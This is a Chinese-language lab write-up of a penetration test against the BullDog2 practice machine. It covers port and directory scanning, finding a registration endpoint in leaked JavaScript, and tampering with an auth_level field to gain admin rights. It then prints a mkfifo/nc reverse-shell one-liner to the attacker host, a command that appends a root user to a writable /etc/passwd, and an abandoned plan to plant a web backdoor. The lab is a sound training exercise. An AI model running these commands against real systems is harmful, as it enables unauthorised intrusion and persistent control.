在網上各位大佬WriteUp的幫助下,成功完成了第一次完整的靶機滲透測試(大佬NB!),現將詳細過程及原理做簡單整理。
簡介
靶機:
- 名稱:BullDog2
- 系統:Linux
- 難度:中級
- 目標:進入根目錄並查看祝賀消息
環境:
- 靶機:BullDog2——192,168.11.19
- 攻擊機:Kali——192.168.11.11
- 工具:Nmap、dirb、NetCat(nc)、BurpSuit、Sqlmap
流程:
- 主機發現、端口掃描
- Web掃描、漏洞發現
- 漏洞利用、GetShell
- 權限提升、得到Flag
滲透步驟
1、主機發現、端口掃描
使用Nmap進行主機發現,掃描到目標主機
nmap -sn 192.168.11.1/24
詳細掃描其開放端口及服務信息,發現只開啓了一個80端口,服務器版本爲Nginx
Nginx 1.14.0,查得該版本存在解析漏洞,後續作爲一個切入點
nmap -sS -sV -T4 192.168.11.19
那麼自然要進行目錄掃描,使用dirb,掃描到兩個目錄,但是沒有任何有用信息
dirb http://192.168.11.19
2、Web掃描、漏洞發現
訪問目標站點,尋找突破口。發現有5個可點擊的地方
3、4、5沒有什麼有用信息,先查看1和2
1中是一個登錄界面,隨意輸入aaa aaa登錄失敗,進行抓包分析
看到傳入參數爲username
和password
,自然想到嘗試進行sql注入探測
使用sqlmap進行sql注入探測,POST注入無果,因此將其放在cookie裏再次嘗試
sqlmap -u "http://192.168.11.19/users/authenticate" --cookie="username=123&password=123" --level=2
在多次嘗試後,依然沒有成功,注入這條線暫時以失敗告終。
繼續查看Register板塊,發現會提示錯誤,意識到這裏肯定有問題!
最終在大佬的經驗下得知:
- 在進行滲透測試時,千萬不要忽略JS源碼泄漏,其中可能會有重要的信息。
- 尤其是在這種靶機測試中,當沒有突破口時,一般查看JS文件,都會有意外收穫。
果不其然,檢查網絡文件發現,有4個JS文件,保存到本地進行代碼審計
在sublime中使用 JsFormat
對源碼進行整理,並想到之前頁面功能包括以下兩個部分:
- 登錄:Login
- 註冊:Register
最終在main.8b490782e52b9899e2a7.bundle.js
文件得到相關信息:搜索關鍵字,Login相關如下
沒有有用信息,繼續搜索註冊,發現了一些奧祕
得到了註冊用戶所涉及的內容類型和傳參方式,以及註冊路徑,繼續查找
又發現了在註冊用戶時,需要提供的參數。
ok,現在把得到的信息整理一下:
- 登錄頁面正常,但是沒有賬戶,無法登陸;
- 註冊頁面報錯,無法成功註冊;
- 有JS源碼泄露,發現了註冊用戶的路徑和Method;
- 又發現了註冊用戶需要提交的參數。
綜上,那麼就可以抓包嘗試進行構造註冊請求,來註冊用戶,登錄系統進一步探測了。
3、漏洞利用、GetShell
在登錄界面,輸入用戶名密碼均爲qqq
,抓包至Repeater模塊
修改請求路徑爲JS文件中的註冊路徑:/users/register
,添加其他註冊必須的信息,發包
成功註冊!現在嘗試使用註冊的賬號:qqq
- qqq
進行登錄,成功進入系統
右上角有Profile
配置選項,但是點擊後沒有任何反應。
重新登錄並抓包,選定響應該請求(Response to this request),查看響應包,檢查一下是否有越權漏洞
在響應包中發現auth_level
(身份等級)字段,似乎存在垂直越權
此時又想到了之前的JS文件,搜索auth_level
關鍵字康康有沒有什麼線索
發現了一個疑似admin權限的身份標識:master_admin_user
,嘗試進行更改,然後提交
成功!越權得到了admin權限
點擊Admin,出現一個管理界面,需要登錄,但是使用任何賬號密碼登錄都會報錯
在JS文件裏搜索關鍵字Dashboard
也沒有有用信息,再一次從網上尋求幫助。
最終從大佬的WriteUp中得知,此處存在命令執行漏洞,大佬是這樣發現的:
- 首先輸入賬號密碼登錄,抓包並製造報錯,得到了項目名稱
- 在GitHub上查找到了託管的項目
- 下載至本地,進行源碼分析,發現此處疑似存在命令執行漏洞
- 大佬指出,本次靶機實驗大可不必進行源碼審計,過於麻煩,畢竟可操作的選項就兩個。
總結:
1、當目標站點使用了開源項目時,可將其保存至本地進行源碼審計,或者在本地搭建一個一樣的環境,更加方便測試。
2、輸入框不僅有sql注入等漏洞,命令執行漏洞依然不能忽略。
OK,在得到大佬的幫助後,得知此處存在命令執行漏洞,那麼直接利用即可。
象徵性地進行驗證一下,在密碼處加入ping命令:ping 114.114.114.114
使用wireshark抓包發現,該命令已經執行,因此判斷存在命令執行漏洞。
(注: 網上說可以採用http://服務器ip
,然後服務器主機監聽80端口,根據是否有連接來判斷是否有命令執行漏洞,但是未能成功,加入culr
後也未成功。)
查到,使用以下語句即可建立反彈shell,具體原理後續會專門寫一篇各種反彈shell的原理分析。
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.11.11 9999 >/tmp/f;
使用nc打開kali的9999端口進行監聽
發送帶有反彈shell命令的數據包
此時Kali上已經成功建立反彈shell
查看一些相關的信息
但是這樣的shell會話使用起來不夠方便,我們使用python來建立一個bash會話
python -c 'import pty;pty.spawn("/bin/bash")'
初步判斷,這應該就是網站根目錄,後續可以進行種馬
4、權限提升,得到Flag
先查看一下所有用戶,存在一個root用戶
最下方還有兩個root權限用戶(爲之前測試所創建)
嘗試使用當前賬戶創建一個root權限用戶。
提示權限不足,因此當前用戶並非root權限,需要提權。
也可以直接查看用戶ID,當前UID爲1001,非管理員權限
注:
UID爲0的用戶是超級用戶, 就比如下方我的Kali主機的uid。
在Linux中用戶分爲3中:
- 超級用戶:root,UID爲0
- 普通用戶:UID 5000 - 60000
- 僞用戶:UID 1 - 499
其中,僞用戶最大的作用就是在一些系統操作或一些應用服務的調用的身份。
補充了一下Linux用戶的知識,現在繼續,查看一下passwd文件屬性
所屬用戶爲ooot,所屬組爲root組,而且當前權限爲讀寫,因此可以直接向其中寫入一個root權限的用戶。
注:
一般都是查找當前用戶下所有的可寫文件,然後尋找突破口,查詢語句如下:
find / -writable -type f 2>/dev/null |grep -v "/proc/"
可以看到,當前用戶下,passwd文件可以寫入
(但是實際中,一般這種passwd文件普通用戶可寫的情況是不存在的)
開始向passwd
文件寫入一個root權限的用戶。
需要先生成一個hash後的密碼,可以使用Linux自帶的mkpasswd命令生成,密碼爲abcd
如果需要加鹽的密碼,可以使用crypt函數生成,密碼爲abcd,鹽值爲sa:
也可以在本機生成,粘貼過去即可
我直接使用沒有加鹽的,使用echo命令將其寫入passwd文件內,注意格式:
echo 'abcd:GSA9jpckEYwa2:0:0:abcd:/root:/bin/bash' >> /etc/passwd
查看一下passwd文件內容
可以看到此時創建的abcd用戶已經成功寫入passwd文件,且權限爲root,切換用戶
OK,成功拿到root權限,提權成功,看一下flag
完成!該靶機的目標達到了,但是真正的滲透並未結束。
續:種植後門
至此,拿到了root權限,root權限可以在Web目錄進行種馬,保持持續連接。
之前已經提到了,剛進入系統時的目錄其實就是Web根目錄:
/var/www/node/Bulldog-2-The-Reckoning
可以在此處搜索一下當前頁面的關鍵字:dashboard
成功搜索到了相關文件,說明此處的確爲網站根目錄,可以進行種馬
但是,在該文件夾內寫入測試文件後,訪問404,後來以爲訪問方式的問題,就索性參照該模式建立一個對應的文件夾
因爲發現在站點訪問文件時,都是訪問文件夾名,此處可能應該稱之爲模塊名
所以想參照這種模式,但是依然失敗,估計是在配置文件中將訪問寫死了,唉就暫時這樣吧,後續的種馬搞不動了。
總結
本次靶機滲透大致分爲以下步驟:
- 首先使用Nmap進行掃描,蒐集主機及端口服務詳細信息
- 對開放的80端口進行檢測,掃描其目錄,但是未發現有用信息
- 訪問站點,對站點進行sql注入登漏洞檢測,未發現漏洞
- 查看網絡文件,發現有JS關鍵信息泄漏,將其保存至本地進行代碼審計
- 根據頁面信息以及JS源碼得到了用戶註冊的相關信息,成功註冊用戶
- 進入系統後,發現該系統存在越權漏洞,利用該漏洞成功越權到管理員權限
- 在管理員界面的Admin欄目下,發現一個登錄處存在命令執行漏洞
- 利用該漏洞建立反彈shell,成功進入目標主機,但是此時用戶權限爲普通
- 利用passwd文件不安全的設置問題(普通用戶可寫),創建root權限用戶
- 成功拿到root權限。
大致流程就是這樣,期間有許多不理解的地方,能完成得益於網上的衆多WriteUp,感謝!
如有問題還請指出。